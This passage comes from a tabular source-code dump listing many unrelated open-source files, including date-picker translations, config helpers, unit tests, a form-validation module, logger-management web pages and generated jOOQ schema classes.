repo_name stringlengths 6 101 | path stringlengths 4 300 | text stringlengths 7 1.31M |
|---|---|---|
Sanbingduizhang/blog | node_modules/pickadate/builds/translations/de_DE.js | /* pickadate v5.0.0-alpha.3, @license MIT */
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ? define(factory) :
(global = global || self, (global.pickadate = global.pickadate || {}, global.pickadate.translations = global.pickadate.translations || {}, global.pickadate.translations.de_DE = factory()));
}(this, function () { 'use strict';
// German
var translation = {
firstDayOfWeek: 1,
template: 'DDDD, DD. MMMM YYYY',
templateHookWords: {
MMM: ['Jan', 'Feb', 'Mär', 'Apr', 'Mai', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Dez'],
MMMM: ['Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'],
DDD: ['So', 'Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa'],
DDDD: ['Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag']
}
};
return translation;
}));
|
KTH/aspen | modules/util/environment.py | """environment.py
Helper module and data definition names for the os environment"""
__author__ = '<EMAIL>'
import os
import root_path
from modules.util import data_defs
# REQUIRED
REGISTRY_SUB_DIRECTORY = 'REGISTRY_SUB_DIRECTORY'
REGISTRY_REPOSITORY_URL = 'REGISTRY_REPOSITORY_URL'
CLUSTERS_TO_DEPLOY = 'CLUSTERS_TO_DEPLOY'
VAULT_KEY_PATH = 'VAULT_KEY_PATH'
APP_PWD_FILE_PATH = 'APP_PWD_FILE_PATH'
CLUSTER_STATUS_API_URL = 'CLUSTER_STATUS_API_URL'
DOCKER_REGISTRY_URL = 'DOCKER_REGISTRY_URL'
DOCKER_REGISTRY_USER = 'DOCKER_REGISTRY_USER'
DOCKER_REGISTRY_PWD = '<PASSWORD>'
AZURE_REGISTRY_URL = 'AZURE_REGISTRY_URL'
AZURE_REGISTRY_USER = 'AZURE_REGISTRY_USER'
AZURE_REGISTRY_PWD = '<PASSWORD>'
# Format:
# redis://[[username]:[password]]@localhost:6379/0
# rediss://[[username]:[password]]@localhost:6379/0
# unix://[[username]:[password]]@/path/to/socket.sock?db=0
REDIS_URL = 'REDIS_URL'
MANAGEMENT_RES_GRP = 'MANAGEMENT_RES_GRP'
# OPTIONAL
CLUSTER_STATUS_URL_IS_FILE = 'CLUSTER_STATUS_URL_IS_FILE'
PUSH_TO_PROMETHEUS = 'PUSH_TO_PROMETHEUS'
PARALLELISM = 'PARALLELISM'
SLACK_ERROR_POST_URL = 'SLACK_ERROR_POST_URL'
SLACK_DEPLOYMENT_POST_URL = 'SLACK_DEPLOYMENT_POST_URL'
SLACK_RECOMMENDATION_POST_URL = 'SLACK_RECOMMENDATION_POST_URL'
VERIFY_START_DELAY_SECS = 'VERIFY_START_DELAY_SECS'
VERIFY_START_RETRY_TIMES = 'VERIFY_START_RETRY_TIMES'
REQUEST_TIMEOUT = 'REQUEST_TIMEOUT'
KNOWN_HOST_ENTRY = 'KNOWN_HOST_ENTRY'
KNOWN_HOST_FILE = 'KNOWN_HOST_FILE'
FRONT_END_RULE_LABEL = 'FRONT_END_RULE_LABEL'
SYNC_START_ON_RUN = 'SYNC_START_ON_RUN'
DELAY_SECS_BETWEEN_RUNS = 'DELAY_SECS_BETWEEN_RUNS'
EXCLUDED_APPS = 'EXCLUDED_APPS'
SKIP_DEPLOYMENT = 'SKIP_DEPLOYMENT'
CI_STATUS_API_BASE_URL = 'CI_STATUS_API_BASE_URL'
CI_STATUS_URL_SUFFIX = 'CI_STATUS_URL_SUFFIX'
CI_STATUS_HEADER_TOKEN = 'CI_STATUS_HEADER_TOKEN'
# TEST SETTINGS
SKIP_VALIDATION_TESTS = 'SKIP_VALIDATION_TESTS' # Set this to skip validation tests
VALIDATE_DEPLOYMENT_URL = 'VALIDATE_DEPLOYMENT_URL'
VALIDATE_ERROR_URL = 'VALIDATE_ERROR_URL'
VALIDATE_RECOMMENDATION_URL = 'VALIDATE_RECOMMENDATION_URL'
ENV_TEST = 'ENV_TEST'
def get_env(env_name):
return os.environ.get(env_name)
def get_env_no_trailing_slash(env_name):
value = os.environ.get(env_name)
if value:
return value.rstrip('/')
return value
def get_env_list(env_name):
env_value = os.environ.get(env_name)
if env_value:
return [value.rstrip() for value in env_value.split(',')]
return []
def get_registry_path():
return os.path.join(root_path.PROJECT_ROOT,
str(get_env(REGISTRY_SUB_DIRECTORY)))
def get_with_default_int(env_key, default):
env_value = os.environ.get(env_key)
if env_value:
return int(env_value)
else:
return default
def get_with_default_string(env_key, default):
env_value = os.environ.get(env_key)
if env_value:
return str(env_value)
else:
return default
def use_azure_repository(image_data):
registry_url = get_env(AZURE_REGISTRY_URL)
if registry_url and data_defs.IMG_REGISTRY in image_data:
return image_data[data_defs.IMG_REGISTRY] in registry_url
return False |
Const-me/vis_avs_dx | avs_dx/DxVisuals/Utils/DirectXErrors/DirectXErrors.h | <filename>avs_dx/DxVisuals/Utils/DirectXErrors/DirectXErrors.h
#pragma once
// Get error description from HRESULT code, e.g. "The caller did not supply a sufficiently large buffer." Returns nullptr for unknown codes. The data doesn't include Win32 errors, FormatMessage API already knows them.
const char* getDxErrorDescriptionA( HRESULT hr );
#ifdef DXERR_ATL_STRING
CStringA formatDxMessageA( HRESULT hr );
CStringW formatDxMessageW( HRESULT hr );
#elif defined DXERR_STD_STRING
#include <string>
std::string formatDxMessageA( HRESULT hr );
std::wstring formatDxMessageW( HRESULT hr );
#endif |
bobheadlabs/sourcegraph | internal/search/result/commit_json_test.go | <reponame>bobheadlabs/sourcegraph<filename>internal/search/result/commit_json_test.go
package result
import (
"encoding/json"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/sourcegraph/sourcegraph/internal/api"
"github.com/sourcegraph/sourcegraph/internal/gitserver/gitdomain"
"github.com/sourcegraph/sourcegraph/internal/types"
)
func TestCommitMatchMarshaling(t *testing.T) {
t.Run("roundtrip", func(t *testing.T) {
cm1 := CommitMatch{
Commit: gitdomain.Commit{
ID: api.CommitID("saccolabium"),
Author: gitdomain.Signature{
Name: "<NAME>",
Email: "<EMAIL>",
Date: time.Date(237, time.November, 15, 8, 0, 0, 0, time.FixedZone("Ancient China", int(+8*time.Hour/time.Second))),
},
Committer: &gitdomain.Signature{
Name: "<NAME>",
Email: "<EMAIL>",
Date: time.Date(1402, time.January, 18, 7, 0, 0, 0, time.FixedZone("Aksum Ethiopia", int(+3*time.Hour/time.Second))),
},
Message: "add documentation for hot beverages",
Parents: []api.CommitID{"coffeeae", "coffea", "arabica"},
},
Repo: types.MinimalRepo{
ID: 42,
Name: api.RepoName("github.com/historyofconsumption/beverages"),
Stars: 7,
},
Refs: []string{"awakeness"},
SourceRefs: []string{"caffeine"},
MessagePreview: &MatchedString{
Content: "add documentation for hot beverages",
MatchedRanges: Ranges{{Start: Location{Offset: 0, Line: 0, Column: 0}, End: Location{Offset: 3, Line: 0, Column: 3}}},
},
DiffPreview: &MatchedString{
Content: "/dev/null drinks/coffee.md",
MatchedRanges: Ranges{{Start: Location{Offset: 17, Line: 0, Column: 17}, End: Location{Offset: 23, Line: 0, Column: 23}}},
},
ModifiedFiles: []string{"drinks/coffee.md", "drinks/tea.md"},
}
marshaled, err := json.Marshal(cm1)
require.NoError(t, err)
var cm2 CommitMatch
err = json.Unmarshal(marshaled, &cm2)
require.NoError(t, err)
require.True(t, cm1.Commit.Author.Date.Equal(cm2.Commit.Author.Date))
require.True(t, cm1.Commit.Committer.Date.Equal(cm2.Commit.Committer.Date))
cm2.Commit.Author.Date = cm1.Commit.Author.Date
cm2.Commit.Committer.Date = cm1.Commit.Committer.Date
require.Equal(t, cm1, cm2)
})
}
|
quidphp/front | js/include/validate.js | <gh_stars>1-10
/*
* This file is part of the QuidPHP package <https://quidphp.com>
* Author: <NAME> <<EMAIL>>
* License: https://github.com/quidphp/front/blob/master/LICENSE
*/
// validate
// script with behaviours related to validation
const Validate = Quid.Validate = {
// isNumericDash
// retourne vrai si la valeur contient seulement des caractères numérique ou -
isNumericDash: function(value)
{
return this.regex(value,"^[0-9\-]+$");
},
// isEmail
// retourne vrai si la valeur est un email
isEmail: function(value)
{
return this.regex(value,/^([a-zA-Z0-9_\.\-\+])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{1,4})+$/);
},
// isRegexStr
// retourne vrai si une valeur un regex ou instance de RegExp
isRegexStr: function(value)
{
return (Str.isNotEmpty(value) || value instanceof RegExp);
},
// regex
// permet de lancer un test d'expression régulière
regex: function(value,exp)
{
let r = false;
if(Str.is(value) && this.isRegexStr(exp))
{
const regex = new RegExp(exp);
if(regex.test(value))
r = true;
}
return r;
},
// trigger
// lance la validation required et ensuite pattern
trigger: function(value,required,pattern)
{
let r = this.required(value,required);
if(r === true)
r = this.pattern(value,pattern);
return r;
},
// required
// fait le test required sur la valeur
required: function(value,required)
{
let r = true;
if(Bool.is(required))
required = Bool.toInt(required);
if(Num.isPositive(required))
{
value = Str.cast(value);
value = Str.trim(value);
if(!value.length)
r = false;
}
return r;
},
// pattern
// fait le test required sur la valeur
pattern: function(value,pattern)
{
let r = true;
if(Str.isNotEmpty(pattern))
{
value = Str.cast(value);
if(value.length && !this.regex(value,pattern))
r = false;
}
return r;
}
} |
maxml/NodeLearning | ex_require/cycle/index.js | console.log('main starting');
const a = require('./first');
const b = require('./second');
console.log('in main, a.done = %j, b.done = %j', a.done, b.done);
// console.log(require('../module').rand)
|
Ellis0817/Introduction-to-Programming-Using-Python | tests/test.py | """Pytest檢查."""
# test_show.py
import pytest
def test_sample1():
"""測試1."""
assert True
def test_sample2():
"""測試2."""
assert [1, 2, 3] != [3, 2, 1]
@pytest.mark.xfail()
def test_sample3():
"""測試3."""
assert False
@pytest.mark.xfail()
def test_sample4():
"""測試4."""
assert True
|
lolengine/lolengine | src/t/test-common.cpp | //
// Lol Engine — Unit tests
//
// Copyright © 2010—2020 <NAME> <<EMAIL>>
//
// Lol Engine is free software. It comes without any warranty, to
// the extent permitted by applicable law. You can redistribute it
// and/or modify it under the terms of the Do What the Fuck You Want
// to Public License, Version 2, as published by the WTFPL Task Force.
// See http://www.wtfpl.net/ for more details.
//
#if HAVE_CONFIG_H
# include "config.h"
#endif
#include <lol/engine.h> // FIXME: for now this is required for SDL_main
#include <lol/unit_test>
#include <cstdio>
#include <cstdlib>
int main(int, char **)
{
lol::text_runner runner;
bool success = runner.Run();
return success ? EXIT_SUCCESS : EXIT_FAILURE;
}
|
animatedmax/bookbinder | spec/lib/bookwatch/subnav/subnav_generator_spec.rb | <reponame>animatedmax/bookbinder<gh_stars>0
require_relative '../../../../lib/bookwatch/subnav/subnav_generator'
require_relative '../../../../lib/bookwatch/subnav/navigation_entries_from_html_toc'
require_relative '../../../../lib/bookwatch/subnav/template_creator'
require_relative '../../../../lib/bookwatch/subnav/pdf_config_creator'
require_relative '../../../../lib/bookwatch/config/product_config'
module Bookwatch
module Subnav
describe SubnavGenerator do
let(:output_locations) { 'locations!' }
context 'without pdf_config in config' do
it 'creates a json props file and then creates the template and pdf configs' do
product_config = Config::ProductConfig.new({})
navigation_entries = 'entries and stuff'
navigation_entries_parser = instance_double(Bookwatch::Subnav::NavigationEntriesFromHtmlToc)
template_creator = instance_double(Bookwatch::Subnav::TemplateCreator)
pdf_config_creator = instance_double(Bookwatch::Subnav::PdfConfigCreator)
expect(navigation_entries_parser).to receive(:get_links).with(product_config, output_locations) { navigation_entries }
expect(template_creator).to receive(:create).with(navigation_entries, product_config)
SubnavGenerator.new(navigation_entries_parser, template_creator, pdf_config_creator, output_locations)
.generate(product_config)
end
end
context 'with pdf_config in config' do
it 'creates a json props file and then creates the template and pdf configs' do
product_config = Config::ProductConfig.new({'whatever' => 'thing', 'pdf_config' => 'blah'})
navigation_entries = 'entries and stuff'
navigation_entries_parser = instance_double(Bookwatch::Subnav::NavigationEntriesFromHtmlToc)
template_creator = instance_double(Bookwatch::Subnav::TemplateCreator)
pdf_config_creator = instance_double(Bookwatch::Subnav::PdfConfigCreator)
expect(navigation_entries_parser).to receive(:get_links).with(product_config, output_locations) { navigation_entries }
expect(template_creator).to receive(:create).with(navigation_entries, product_config)
expect(pdf_config_creator).to receive(:create).with(navigation_entries, product_config)
SubnavGenerator.new(navigation_entries_parser, template_creator, pdf_config_creator, output_locations)
.generate(product_config)
end
end
it 'does not error when trying to access a pdf config when method not implemented' do
expect {
SubnavGenerator.new(
double('props creator').as_null_object,
double('template_creator').as_null_object,
double('pdf_config_creator').as_null_object,
output_locations).generate({})
}.to_not raise_error
end
end
end
end
|
pdpdds/SDLGameProgramming | sdl2/openblock/src/system/Window.h | #pragma once
#include "Event.h"
#include "InputMap.h"
#include <memory>
#include <string>
#include <vector>
class AudioContext;
class GraphicsContext;
/// The Window represents the game window, and it is the interface between
/// the native operating system and hardware. It provides a way to draw on
/// the screen from the game, and collects and makes the native events
/// (eg. input) available to other parts of the game.
class Window {
public:
virtual ~Window() {};
/// Change between windowed and fullscreen mode.
virtual void toggleFullscreen() = 0;
/// Save a screenshot of the game window to the provided path
/// at the end of the current render cycle
virtual void requestScreenshot(const std::string& path) = 0;
/// Return the graphics context component of the window,
/// which can be used for drawing on this window.
virtual GraphicsContext& graphicsContext() = 0;
/// Returns the audio context component of the window,
/// which can be used for playing music and sound effects.
virtual AudioContext& audioContext() = 0;
/// In every frame, the Window should collect the native events,
/// and return them in a platform-independent format.
/// If the user wants to quit the game by a native event, then after this call
/// `quit_requested()` should return true.
virtual std::vector<Event> collectEvents() = 0;
/// Return `true` if the user wants to quit the program, eg. by closing the game
/// window or pressing certain key combinations (Alt-F4, Ctrl-Q, ...).
virtual bool quitRequested() = 0;
/// Set the known input mappings previously read from a config file.
virtual void setInputConfig(const std::map<DeviceName, DeviceData>&) = 0;
/// Set the key binding of an input event to a raw key on a device.
virtual void setKeyBinding(DeviceID, InputType, uint16_t raw_key) = 0;
/// Get all the input mappings the window has knowledge of in a
/// format similar to config files.
virtual std::map<DeviceName, DeviceData> createInputConfig() const = 0;
/// Get all currently connected devices.
virtual const DeviceMap& connectedDevices() const = 0;
/// Get the name of a raw button on a device, or an empty string.
virtual std::string buttonName(DeviceID, uint16_t raw_key) const = 0;
/// If possible, show an error message box with the title "Error" and the
/// provided content text. This operation should work even without a Window object.
static void showErrorMessage(const std::string& content);
private:
static std::unique_ptr<Window> create();
friend class AppContext;
};
|
yakuizhao/intel-vaapi-driver | android/android_9/hardware/intel/img/hwcomposer/merrifield/ips/common/PrepareListener.cpp | /*
// Copyright (c) 2014 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
*/
#include <HwcTrace.h>
#include <Drm.h>
#include <Hwcomposer.h>
#include <common/PrepareListener.h>
namespace android {
namespace intel {
PrepareListener::PrepareListener()
: IPrepareListener()
{
}
PrepareListener::~PrepareListener()
{
}
void PrepareListener::onProtectedLayerStart(int disp)
{
WTRACE("disp = %d, ignored for now", disp);
// need chaabi support for granular IED control
return;
Drm *drm = Hwcomposer::getInstance().getDrm();
int ret = drmCommandNone(drm->getDrmFd(), DRM_PSB_HDCP_DISPLAY_IED_ON);
if (ret != 0) {
ETRACE("failed to turn on display IED");
} else {
ITRACE("display IED is turned on");
}
}
} // namespace intel
} // namespace android
|
mhoran/ssoca | auth/authn/github/service.go | package github
type Service struct{}
func (Service) Type() string {
return "github_authn"
}
func (Service) Version() string {
return "0.1.0"
}
|
Exiro1/Master-O-fOlympus-Java-Remake | src/com/exiro/terrainList/WaterCoast.java | <gh_stars>1-10
package com.exiro.terrainList;
import com.exiro.object.Case;
import com.exiro.object.City;
import com.exiro.object.ObjectType;
import com.exiro.sprite.Direction;
import java.util.ArrayList;
public class WaterCoast extends Terrain {
boolean angle;
Direction direction;
int number;
public WaterCoast(int xpos, int ypos, boolean angle, Direction direction, int number, City city) {
super(true, ObjectType.WATERTCOAST, false, xpos, ypos, city, true, false, true);
this.angle = angle;
this.direction = direction;
this.number = number;
this.setLocalID(getIDfromDir(direction, number));
updateImg();
}
public int getIDfromDir(Direction dir, int number) {
int i = 0;
switch (dir) {
case SUD:
i = 191;
break;
case SUD_EST:
i = 175;
break;
case EST:
i = 187;
break;
case NORD_EST:
i = 171;
break;
case NORD:
i = 199;
break;
case NORD_OUEST:
i = 183;
break;
case OUEST:
i = 195;
break;
case SUD_OUEST:
i = 179;
break;
}
i += number;
return i;
}
@Override
public boolean build(int xPos, int yPos) {
return false;
}
@Override
public void delete() {
}
@Override
public ArrayList<Case> getAccess() {
return null;
}
@Override
public void process(double deltaTime) {
}
public Direction getDirection() {
return direction;
}
}
|
CnybTseng/JDE | mot/models/heads/__init__.py | <reponame>CnybTseng/JDE
from .jde import JDEHead |
michaelkantor/wavemaker | wavemaker/wavemaker-studio/src/main/webapp/pages/NewLiveFormDialog/NewLiveFormDialog.js | <reponame>michaelkantor/wavemaker
/*
* Copyright (C) 2010-2013 VMware, Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
dojo.declare("NewLiveFormDialog", wm.Page, {
i18n: true,
form: null,
start: function() {
},
setForm: function(inForm) {
this.form = inForm;
this.root.clearData();
this.typeSelect.refreshOptions();
this.dataSetSelect.refreshOptions();
this.formBehavior.setDataValue("standard");
this.readonlyManager.setDataValue(true);
},
onCancelClick: function() {
this.owner.owner.dismiss();
this.form.destroy();
},
dataSetSelectChange: function(inSender, inDataValue, inDisplayValue) {
var c = studio.page.getValueById(inDataValue);
if (c && c.type) {
this.typeSelect.setDataValue(c.type);
}
},
onOkClick: function(selectedName) {
this.form.setName(studio.page.getUniqueName(wm.decapitalize(this.typeSelect.getDisplayValue().replace(/^.*\./,"")) + "DBForm"));
this.form.set_formBehavior(this.formBehavior.getDataValue());
if (this.typeSelect.getDataValue())
this.form.set_type(this.typeSelect.getDataValue());
this.form.set_readonlyManager(this.readonlyManager.getDataValue());
if (this.form.formBehavior != "insertOnly" && this.dataSetSelect.getDataValue()) {
this.form.$.binding.addWire(null, "dataSet", this.dataSetSelect.getDataValue(), "");
}
this.form.eventBindings.onEnterKeyPress = this.form.getId() + ".saveData";
this.owner.owner.dismiss();
studio.reinspect(true);
},
_end: 0
});
|
flip4dev/ebay | lib/ebay/responses/get_picture_manager_options.rb | require 'ebay/types/picture_manager_subscription'
require 'ebay/types/picture_manager_picture_display'
module Ebay # :nodoc:
module Responses # :nodoc:
# == Attributes
# array_node :subscriptions, 'Subscription', :class => PictureManagerSubscription, :default_value => []
# array_node :picture_types, 'PictureType', :class => PictureManagerPictureDisplay, :default_value => []
class GetPictureManagerOptions < Abstract
include XML::Mapping
include Initializer
root_element_name 'GetPictureManagerOptionsResponse'
array_node :subscriptions, 'Subscription', :class => PictureManagerSubscription, :default_value => []
array_node :picture_types, 'PictureType', :class => PictureManagerPictureDisplay, :default_value => []
end
end
end
|
thufv/mastery | sample/examples_survey/right2.java | <reponame>thufv/mastery<filename>sample/examples_survey/right2.java
class TempBuilder {
void createParameters() {
map.put("h", new C(5, 50));
}
} |
MacroLau/quiche | gquiche/quic/platform/api/quic_bug_tracker.h | // Copyright (c) 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef QUICHE_QUIC_PLATFORM_API_QUIC_BUG_TRACKER_H_
#define QUICHE_QUIC_PLATFORM_API_QUIC_BUG_TRACKER_H_
#include "platform/quic_platform_impl/quic_bug_tracker_impl.h"
#define QUIC_BUG(x) QUICHE_BUG_IMPL(x)
#define QUIC_BUG_IF(x,y) QUICHE_BUG_IF_IMPL(x,y)
#define QUIC_PEER_BUG(x) QUICHE_PEER_BUG_IMPL(x)
#define QUIC_PEER_BUG_IF(x,y) QUICHE_PEER_BUG_IF_IMPL(x,y)
#endif // QUICHE_QUIC_PLATFORM_API_QUIC_BUG_TRACKER_H_
|
chandthash/nppy | Project Pattern/pattern_37.py | def pattern_thirty_seven():
'''Pattern thirty_seven
1 2 3 4 5
2 5
3 5
4 5
5
'''
num = '12345'
for i in range(1, 6):
if i == 1:
print(' '.join(num))
elif i in range(2, 5):
space = -2 * i + 9 # using -2*n + 9 for getting required space where n = 1, 2, 3, .... and here n = i
output = num[i - 1] + ' ' * space + '5'
print(output)
else:
print('5')
if __name__ == '__main__':
pattern_thirty_seven()
|
anthonyf996/ChessApp | src/Model/MetaCommand.py | class MetaCommand:
def __init__(self, commands):
self.commands = commands
def execute(self):
raise NotImplementedError
def undo(self):
raise NotImplementedError
|
Rja-0/appstatus | appstatus-web/src/main/java/net/sf/appstatus/web/pages/LoggersPage.java | <filename>appstatus-web/src/main/java/net/sf/appstatus/web/pages/LoggersPage.java<gh_stars>10-100
/*
* Copyright 2010-2013 Capgemini Licensed under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package net.sf.appstatus.web.pages;
import static net.sf.appstatus.web.HtmlUtils.applyLayout;
import static net.sf.appstatus.web.HtmlUtils.generateBeginTable;
import static net.sf.appstatus.web.HtmlUtils.generateEndTable;
import static net.sf.appstatus.web.HtmlUtils.generateHeaders;
import static net.sf.appstatus.web.HtmlUtils.generateRow;
import static org.apache.commons.lang3.StringUtils.isNotBlank;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang3.text.StrBuilder;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import net.sf.appstatus.core.loggers.ILoggersManager;
import net.sf.appstatus.core.loggers.LoggerConfig;
import net.sf.appstatus.web.StatusWebHandler;
/**
* Display loggers current level and let the user change them.
*
* @author <NAME>
*
*/
public class LoggersPage extends AbstractPage {
private static final String ENCODING = "UTF-8";
private static final String LEVEL_ERROR = "ERROR";
private static final String LEVEL_INFO = "INFO";
private static final String LEVEL_TRACE = "TRACE";
private static final String LEVEL_WARN = "WARN";
private static final Logger LOGGER = LoggerFactory.getLogger(LoggersPage.class);
private static final String PAGECONTENTLAYOUT = "logContentLayout.html";
@Override
public void doGet(StatusWebHandler webHandler, HttpServletRequest req, HttpServletResponse resp)
throws UnsupportedEncodingException, IOException {
LOGGER.debug("doGet");
if (isNotBlank(req.getParameter("name")) && isNotBlank(req.getParameter("level"))) {
LoggerConfig logger2Change = new LoggerConfig(req.getParameter("name"), req.getParameter("level"));
LOGGER.debug("Change log level : {} - {}", logger2Change.getName(), logger2Change.getLevel());
webHandler.getAppStatus().getLoggersManager().update(logger2Change);
}
setup(resp, "text/html");
ServletOutputStream os = resp.getOutputStream();
Map<String, String> valuesMap = new HashMap<String, String>();
// build sbLoggersTable
StrBuilder sbLoggersTable = new StrBuilder();
List<LoggerConfig> loggers = webHandler.getAppStatus().getLoggersManager().getLoggers();
if (generateBeginTable(sbLoggersTable, loggers.size())) {
generateHeaders(sbLoggersTable, "", "Name", "Levels", "", "", "", "");
for (LoggerConfig logger : loggers) {
generateRow(sbLoggersTable, Resources.STATUS_PROP, logger.getName(), getButton(LEVEL_TRACE, logger),
getButton(ILoggersManager.LEVEL_DEBUG, logger), getButton(LEVEL_INFO, logger),
getButton(LEVEL_WARN, logger), getButton(LEVEL_ERROR, logger));
}
generateEndTable(sbLoggersTable, loggers.size());
}
// generating content
valuesMap.put("loggersTable", sbLoggersTable.toString());
valuesMap.put("loggerCount", String.valueOf(loggers.size()));
String content = applyLayout(valuesMap, PAGECONTENTLAYOUT);
valuesMap.clear();
valuesMap.put("content", content);
// generating page
os.write(getPage(webHandler, valuesMap).getBytes(ENCODING));
}
@Override
public void doPost(StatusWebHandler webHandler, HttpServletRequest req, HttpServletResponse resp) {
// nothing to do
}
private String getButton(String level, LoggerConfig logger) {
String buttonTypeTmp = "";
if (level.equals(logger.getLevel())) {
if (LEVEL_TRACE.equals(level)) {
buttonTypeTmp = "btn-info";
} else if (ILoggersManager.LEVEL_DEBUG.equals(level)) {
buttonTypeTmp = "btn-primary";
} else if (LEVEL_INFO.equals(level)) {
buttonTypeTmp = "btn-success";
} else if (LEVEL_WARN.equals(level)) {
buttonTypeTmp = "btn-warning";
} else if (LEVEL_ERROR.equals(level)) {
buttonTypeTmp = "btn-danger";
}
}
return "<a class='btn btn-mini " + buttonTypeTmp + "' href='?p=loggers&level=" + level + "&name="
+ logger.getName() + "'>" + level + "</a>";
}
@Override
public String getId() {
return "loggers";
}
@Override
public String getName() {
return "Loggers";
}
} |
larkov/MailTrackerBlocker | MailHeaders/Catalina/MailUI/_SuggestionsBannerView.h | //
// Generated by class-dump 3.5b1 (64 bit) (Debug version compiled Dec 3 2019 19:59:57).
//
// Copyright (C) 1997-2019 <NAME>.
//
#import <AppKit/NSVisualEffectView.h>
@class SGBanner;
@interface _SuggestionsBannerView : NSVisualEffectView
{
SGBanner *_banner; // 112 = 0x70
}
@property(retain, nonatomic) SGBanner *banner; // @synthesize banner=_banner;
// - (void).cxx_destruct; // IMP=0x00000001002965e3
- (void)awakeFromNib; // IMP=0x000000010029651b
@end
|
matthew-macgregor/blitzplus_msvc2019 | win32gui/win32tabber.h | <reponame>matthew-macgregor/blitzplus_msvc2019
#ifndef WIN32TABBER_H
#define WIN32TABBER_H
#include "../gui/tabber.h"
#include "win32gadget.h"
class Win32Tabber : public BBTabber,public Win32WndProc{
Win32Gadget _tabber;
Win32Gadget _client;
int updateSelected();
protected:
~Win32Tabber();
public:
Win32Tabber( BBGroup *group,int style );
void *query( int qid );
void setFont( BBFont *font );
void setText( BBString *text );
void setShape( int x,int y,int w,int h );
void setVisible( bool visible );
void setEnabled( bool enabled );
void activate();
void setIconStrip( BBIconStrip *t );
void clear();
void add( BBString *item,int icon );
void insert( int index,BBString *item,int icon );
void modify( int index,BBString *item,int icon );
void remove( int index );
void select( int index );
void clientShape( int *x,int *y,int *w,int *h );
LRESULT wndProc( HWND hwnd,UINT msg,WPARAM wp,LPARAM lp,WNDPROC proc );
};
#endif
|
backwards-rat-race/jOOQ | jOOQ-meta/src/main/java/org/jooq/meta/h2/information_schema/tables/FunctionAliases.java | /*
* This file is generated by jOOQ.
*/
package org.jooq.meta.h2.information_schema.tables;
import org.jooq.Field;
import org.jooq.ForeignKey;
import org.jooq.Name;
import org.jooq.Record;
import org.jooq.Schema;
import org.jooq.Table;
import org.jooq.TableField;
import org.jooq.TableOptions;
import org.jooq.impl.DSL;
import org.jooq.impl.SQLDataType;
import org.jooq.impl.TableImpl;
import org.jooq.meta.h2.information_schema.InformationSchema;
/**
* This class is generated by jOOQ.
*/
@SuppressWarnings({ "all", "unchecked", "rawtypes" })
public class FunctionAliases extends TableImpl<Record> {
private static final long serialVersionUID = -1921953301;
/**
* The reference instance of <code>INFORMATION_SCHEMA.FUNCTION_ALIASES</code>
*/
public static final FunctionAliases FUNCTION_ALIASES = new FunctionAliases();
/**
* The class holding records for this type
*/
@Override
public Class<Record> getRecordType() {
return Record.class;
}
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.ALIAS_CATALOG</code>.
*/
public final TableField<Record, String> ALIAS_CATALOG = createField(DSL.name("ALIAS_CATALOG"), SQLDataType.VARCHAR, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.ALIAS_SCHEMA</code>.
*/
public final TableField<Record, String> ALIAS_SCHEMA = createField(DSL.name("ALIAS_SCHEMA"), SQLDataType.VARCHAR, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.ALIAS_NAME</code>.
*/
public final TableField<Record, String> ALIAS_NAME = createField(DSL.name("ALIAS_NAME"), SQLDataType.VARCHAR, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.JAVA_CLASS</code>.
*/
public final TableField<Record, String> JAVA_CLASS = createField(DSL.name("JAVA_CLASS"), SQLDataType.VARCHAR, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.JAVA_METHOD</code>.
*/
public final TableField<Record, String> JAVA_METHOD = createField(DSL.name("JAVA_METHOD"), SQLDataType.VARCHAR, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.DATA_TYPE</code>.
*/
public final TableField<Record, Integer> DATA_TYPE = createField(DSL.name("DATA_TYPE"), SQLDataType.INTEGER, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.TYPE_NAME</code>.
*/
public final TableField<Record, String> TYPE_NAME = createField(DSL.name("TYPE_NAME"), SQLDataType.VARCHAR, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.COLUMN_COUNT</code>.
*/
